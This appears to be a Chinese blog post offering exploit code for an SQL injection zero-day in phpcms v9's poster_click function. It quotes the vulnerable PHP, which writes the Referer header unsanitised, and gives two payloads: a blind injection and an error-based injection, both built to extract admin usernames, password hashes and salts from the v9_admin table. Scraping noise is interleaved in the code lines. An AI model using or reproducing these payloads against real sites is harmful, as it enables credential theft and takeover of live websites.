phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
8 q+ i( {& ~4 m, u6 G
问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
2 O" X6 I" n5 B4 L* _$r = $this->db->get_one(array('id'=>$id));
; _% L/ T* i7 q) b. ]- ]if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
# f4 ~" ]0 ]. W$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
* \/ g8 X. h  V. S$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
! a: ?7 P0 w$ J}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}

# D/ b3 x. N3 B& W) V0 }3 v
利用方式：
7 X1 V- Q) C: |/ l
3 c; U: N' K& o% p1、可以采用盲注入的手法：

! \2 j( o% z0 B; }2 Breferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
: b! |/ z- n; g$ }: ]
+ s6 b3 g' J% z0 I0 ~  z3 J通过返回页面，正常与否一个个猜解密码字段。
9 j3 d! U, Y) J) `
1 t+ d7 Q0 i# Z# c" [5 R& H2、代码是花开写的，随手附上了：

; ]4 t& O; O+ b4 t# O; g) Q& b1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
